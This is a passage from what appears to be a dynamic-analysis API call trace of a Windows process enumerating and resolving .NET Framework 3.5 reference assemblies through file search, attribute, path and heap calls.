| out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0229.732] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0229.732] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0229.732] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0229.732] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0229.733] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0229.733] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0229.733] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0229.733] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0229.733] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0229.733] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0229.733] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57470e31, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57470e31, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x139000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0229.734] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57470e31, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57470e31, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0229.734] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5749708e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5749708e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd7fd8600, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0229.734] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0229.734] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57470e31, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57470e31, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0229.734] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57470e31, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57470e31, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0229.734] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0229.742] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Conversion.v3.5.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.conversion.v3.5.dll")) returned 0x20 [0229.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea310 | out: hHeap=0x2ad0000) returned 1 [0229.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0229.743] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Engine.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.engine.dll")) returned 0x20 [0229.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0229.744] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Framework.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.framework.dll")) returned 0x20 [0229.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0229.744] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Utilities.v3.5.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.utilities.v3.5.dll")) returned 0x20 [0229.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0229.744] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.visualc.stlclr.dll")) returned 0x20 [0229.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0229.745] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881078, Size=0x20) returned 0x33eaaf8 [0229.745] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist")) returned 0x10 [0229.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0229.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0229.745] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist")) returned 0x10 [0229.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0229.746] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.Contract.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.addin.contract.dll")) returned 0x20 [0229.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.748] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.addin.dll")) returned 0x20 [0229.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a38 | out: hHeap=0x2ad0000) returned 1 [0229.748] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ComponentModel.DataAnnotations.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.componentmodel.dataannotations.dll")) returned 0x20 [0229.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea1a8 | out: hHeap=0x2ad0000) returned 1 [0229.749] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Core.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.core.dll")) returned 0x20 [0229.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0229.750] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eaaf8, Size=0x40) returned 0x38873c8 [0229.750] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.DataSetExtensions.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.datasetextensions.dll")) returned 0x20 [0229.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0229.750] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.design.dll")) returned 0x20 [0229.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0229.751] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll")) returned 0x20 [0229.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0229.752] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Linq.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.linq.dll")) returned 0x20 [0229.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0229.752] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Client.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.client.dll")) returned 0x20 [0229.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0229.753] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.design.dll")) returned 0x20 [0229.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0229.753] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.dll")) returned 0x20 [0229.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0229.754] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.DirectoryServices.AccountManagement.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.directoryservices.accountmanagement.dll")) returned 0x20 [0229.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc410 | out: hHeap=0x2ad0000) returned 1 [0229.754] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38873c8, Size=0x64) returned 0x2a19428 [0229.754] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Management.Instrumentation.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.management.instrumentation.dll")) returned 0x20 [0229.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4f0 | out: hHeap=0x2ad0000) returned 1 [0229.755] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Net.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.net.dll")) returned 0x20 [0229.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0229.755] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ServiceModel.Web.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.servicemodel.web.dll")) returned 0x20 [0229.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0229.756] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Abstractions.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.abstractions.dll")) returned 0x20 [0229.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0229.756] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.dynamicdata.design.dll")) returned 0x20 [0229.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0229.756] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.dynamicdata.dll")) returned 0x20 [0229.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.757] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.entity.design.dll")) returned 0x20 [0229.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0229.758] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.entity.dll")) returned 0x20 [0229.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0229.758] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.extensions.design.dll")) returned 0x20 [0229.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0229.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac04e8 [0229.759] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.extensions.dll")) returned 0x20 [0229.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0229.759] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Routing.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.routing.dll")) returned 0x20 [0229.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0229.760] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Windows.Presentation.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.windows.presentation.dll")) returned 0x20 [0229.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0229.760] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.WorkflowServices.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.workflowservices.dll")) returned 0x20 [0229.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0229.761] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Xml.Linq.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.xml.linq.dll")) returned 0x20 [0229.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0229.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0229.761] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Conversion.v3.5.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Conversion.v3.5.dll", lpFilePart=0x9bada4*="Microsoft.Build.Conversion.v3.5.dll") returned 0x68 [0229.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0229.761] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Engine.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Engine.dll", lpFilePart=0x9bada4*="Microsoft.Build.Engine.dll") returned 0x5f [0229.762] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Framework.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Framework.dll", lpFilePart=0x9bada4*="Microsoft.Build.Framework.dll") returned 0x62 [0229.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0229.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0229.762] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Utilities.v3.5.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Utilities.v3.5.dll", lpFilePart=0x9bada4*="Microsoft.Build.Utilities.v3.5.dll") returned 0x67 [0229.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0229.762] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll", lpFilePart=0x9bada4*="Microsoft.VisualC.STLCLR.dll") returned 0x61 [0229.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0229.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0229.763] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.Contract.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.Contract.dll", lpFilePart=0x9bada4*="System.AddIn.Contract.dll") returned 0x5e [0229.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0229.763] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.dll", 